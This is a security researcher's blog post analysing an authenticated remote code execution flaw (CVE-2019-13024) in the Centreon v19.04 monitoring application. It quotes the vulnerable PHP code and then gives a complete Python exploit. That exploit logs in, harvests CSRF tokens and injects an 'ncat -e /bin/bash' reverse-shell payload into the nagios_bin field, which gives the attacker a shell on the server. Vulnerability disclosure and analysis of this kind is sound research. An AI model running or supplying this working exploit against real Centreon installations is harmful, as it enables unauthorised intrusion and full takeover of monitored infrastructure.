Summary about Centreon
Centreon is a free and open source infrastructure monitoring software, Centreon allows the system administrators to monitor their infrastructure from a centralized web application, Centreon has become the number 1 open source solution for enterprise monitoring in Europe.
About the exploit
The exploitation triggers by adding an arbitrary command in the nagios_bin parameter when setup a new configuration or update configuration for a poller, the attacker can control some parameters which are passed to updateServer function on DB-Func.php line #506, this function should update some values and add them to the database, so we can control a user input called nagion_bin from the configuration page and inject our malicious code into it, this parameter is processed in line #551, this parameter will be called from the database and passed to shell_exec function line #212 on generateFiles.php file, so we can call the generateFiles.php later on to trigger the payload.
During the analysis of Centreon code, I decided to hunt for RCE because I found a lot of functionalities that deal with operating system commands, So I started to list all unsafe functions using a very simple python script I wrote.
The initial result was containing a large number of functions that use “shell_exec, popen, system” functions, and after some analysis I noticed that there is potential RCE in a function called printDebug in include/configuration/configGenerate/xml/generateFiles.php line #211:
function printDebug($xml, $tabs) { global $pearDB, $ret, $centreon, $nagiosCFGPath; $DBRESULT_Servers = $pearDB->query("SELECT `nagios_bin` FROM `nagios_server` " . "WHERE `localhost` = '1' ORDER BY ns_activate DESC LIMIT 1"); $nagios_bin = $DBRESULT_Servers->fetch(); $DBRESULT_Servers->closeCursor(); $msg_debug = array(); $tab_server = array(); foreach ($tabs as $tab) { if (isset($ret["host"]) && ($ret["host"] == 0 || in_array($tab['id'], $ret["host"]))) { $tab_server[$tab["id"]] = array( "id" => $tab["id"], "name" => $tab["name"], "localhost" => $tab["localhost"] ); } } foreach ($tab_server as $host) { $stdout = shell_exec( $nagios_bin["nagios_bin"] . " -v " . $nagiosCFGPath . $host["id"] . "/centengine.DEBUG 2>&1" );
As we can see in line #211 we have some variables passed to shell_exec function without being sanitized, the variable $nagios_bin[“nagios_bin”] passed to the function after being called from the database, and we can see in line #193,194 that the query has been made to extract some information and one of them are the $nagios_bin[“nagios_bin”] variable.
Now we need to know how we can control this value and how we can trigger the printDebug function in order to execute our payload.
If we took a look at include/configuration/configServers/DB-Func.php line #550 we can see that the file handles updating some values in the database and one of them are out target “nagios_bin” being inserted without filtering as the following:
function updateServer(int $id, $data): void { global $pearDB, $centreon; if ($data["localhost"]["localhost"] == 1) { $pearDB->query("UPDATE `nagios_server` SET `localhost` = '0'"); } if ($data["is_default"]["is_default"] == 1) { $pearDB->query("UPDATE `nagios_server` SET `is_default` = '0'"); } $rq = "UPDATE `nagios_server` SET "; isset($data["name"]) && $data["name"] != null ? $rq .= "name = '" . htmlentities($data["name"], ENT_QUOTES, "UTF-8") . "', " : $rq .= "name = NULL, "; isset($data["localhost"]["localhost"]) && $data["localhost"]["localhost"] != null ? $rq .= "localhost = '" . htmlentities($data["localhost"]["localhost"], ENT_QUOTES, "UTF-8") . "', " : $rq .= "localhost = NULL, "; isset($data["ns_ip_address"]) && $data["ns_ip_address"] != null ? $rq .= "ns_ip_address = '" . htmlentities(trim($data["ns_ip_address"]), ENT_QUOTES, "UTF-8") . "', " : $rq .= "ns_ip_address = NULL, "; isset($data["ssh_port"]) && $data["ssh_port"] != null ? $rq .= "ssh_port = '" . htmlentities(trim($data["ssh_port"]), ENT_QUOTES, "UTF-8") . "', " : $rq .= "ssh_port = '22', "; isset($data["init_system"]) && $data["init_system"] != null ? $rq .= "init_system = '" . htmlentities(trim($data["init_system"]), ENT_QUOTES, "UTF-8") . "', " : $rq .= "init_system = NULL, "; isset($data["init_script"]) && $data["init_script"] != null ? $rq .= "init_script = '" . htmlentities(trim($data["init_script"]), ENT_QUOTES, "UTF-8") . "', " : $rq .= "init_script = NULL, "; isset($data["init_script_centreontrapd"]) && $data["init_script_centreontrapd"] != null ? $rq .= "init_script_centreontrapd = '" . htmlentities( trim($data["init_script_centreontrapd"]), ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "init_script_centreontrapd = NULL, "; isset($data["snmp_trapd_path_conf"]) && $data["snmp_trapd_path_conf"] != null ? $rq .= "snmp_trapd_path_conf = '" . htmlentities( trim($data["snmp_trapd_path_conf"]), ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "snmp_trapd_path_conf = NULL, "; isset($data["nagios_bin"]) && $data["nagios_bin"] != null ? $rq .= "nagios_bin = '" . htmlentities(trim($data["nagios_bin"]), ENT_QUOTES, "UTF-8") . "', " : $rq .= "nagios_bin = NULL, ";
As we can see it just filter the data using htmlentities only , which means we can inject system commands without problem and in theory we can get a shell !
of course we cannot insert the characters that is being filter by htmlentites but we still execute a onliner to get a shell.
The input for this function was processed by another file called formServers.php located in include/configuration/configServers/formServers.php and the line which call this function and pass the form submitted data is line #300 like the following:
if ($form->validate()) { $nagiosObj = $form->getElement('id'); if ($form->getSubmitValue("submitA")) { insertServerInDB($form->getSubmitValues()); } elseif ($form->getSubmitValue("submitC")) { updateServer( (int) $nagiosObj->getValue(), $form->getSubmitValues() ); } $o = null; $valid = true; }
The getSubmitValues() function handles the POST requests sent via the update configuration form.
To understand the code in better way, I used burp to achieve that by playing with the request and see how I can deal with the required value.
And in burp we can see the following request after submitting it :
And as we can see the request contains nagion_bin which is the one we want to control, and for a debugging purposes I will edit the file generateFiles.php to echo the value of nagion_bin to make sure that we are inserting the correct value that will be inserted and called from the database, and the result was like the following:
After sending the request we will get the following:
We are right ! we got the testpath value printed out ! so we just have to inject a command to get it executed, but first lets find the right format to inject our payload, back to line #212 on generateFiles.php , we can find that our command is inserted in the first of the line which means we can insert it directly and comment out the rest of the line by using #, and the final payload should be simply “command #”.
lets try to inject the command id # and see what will happen !
Great ! we got our command executed !
Exploit writing
After confirming the RCE I want to write an exploit code in python to automate the exploitation process and give you a shell with one click, The exploit writing phase was very fun part to me, and here is the full exploit code:
#!/usr/bin/python ''' # Exploit Title: Centreon v19.04 authenticated Remote Code Execution # Date: 28/06/2019 # Exploit Author: Askar (@mohammadaskar2) # CVE : CVE-2018-20434 # Vendor Homepage: https://www.centreon.com/ # Software link: https://download.centreon.com # Version: v19.04 # Tested on: CentOS 7.6 / PHP 5.4.16 ''' import requests import sys import warnings from bs4 import BeautifulSoup # turn off BeautifulSoup warnings warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 6: print(len(sys.argv)) print("[~] Usage : ./centreon-exploit.py url username password ip port") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] request = requests.session() print("[+] Retrieving CSRF token to submit the login form") page = request.get(url+"/index.php") html_content = page.text soup = BeautifulSoup(html_content) token = soup.findAll('input')[3].get("value") login_info = { "useralias": username, "password": password, "submitLogin": "Connect", "centreon_token": token } login_request = request.post(url+"/index.php", login_info) print("[+] Login token is : {0}".format(token)) if "Your credentials are incorrect." not in login_request.text: print("[+] Logged In Sucssfully") print("[+] Retrieving Poller token") poller_configuration_page = url + "/main.get.php?p=60901" get_poller_token = request.get(poller_configuration_page) poller_html = get_poller_token.text poller_soup = BeautifulSoup(poller_html) poller_token = poller_soup.findAll('input')[24].get("value") print("[+] Poller token is : {0}".format(poller_token)) payload_info = { "name": "Central", "ns_ip_address": "127.0.0.1", # this value should be 1 always "localhost[localhost]": "1", "is_default[is_default]": "0", "remote_id": "", "ssh_port": "22", "init_script": "centengine", # this value contains the payload , you can change it as you want "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port), "nagiostats_bin": "/usr/sbin/centenginestats", "nagios_perfdata": "/var/log/centreon-engine/service-perfdata", "centreonbroker_cfg_path": "/etc/centreon-broker", "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker", "centreonbroker_logs_path": "", "centreonconnector_path": "/usr/lib64/centreon-connector", "init_script_centreontrapd": "centreontrapd", "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/", "ns_activate[ns_activate]": "1", "submitC": "Save", "id": "1", "o": "c", "centreon_token": poller_token, } send_payload = request.post(poller_configuration_page, payload_info) print("[+] Injecting Done, triggering the payload") print("[+] Check your netcat listener !") generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php" xml_page_data = { "poller": "1", "debug": "true", "generate": "true", } request.post(generate_xml_page, xml_page_data) else: print("[-] Wrong credentials") exit()
and you can find the full exploit code here.
The application handles every request with a token to protect against CSRF, so I have to handle this issue using BeautifulSoup to read the CSRF token before sending the requests which was a great part !
And after running the exploit, we popped a shell !
2 Replies to “Centreon v19.04 Remote Code Execution (CVE-2019-13024)”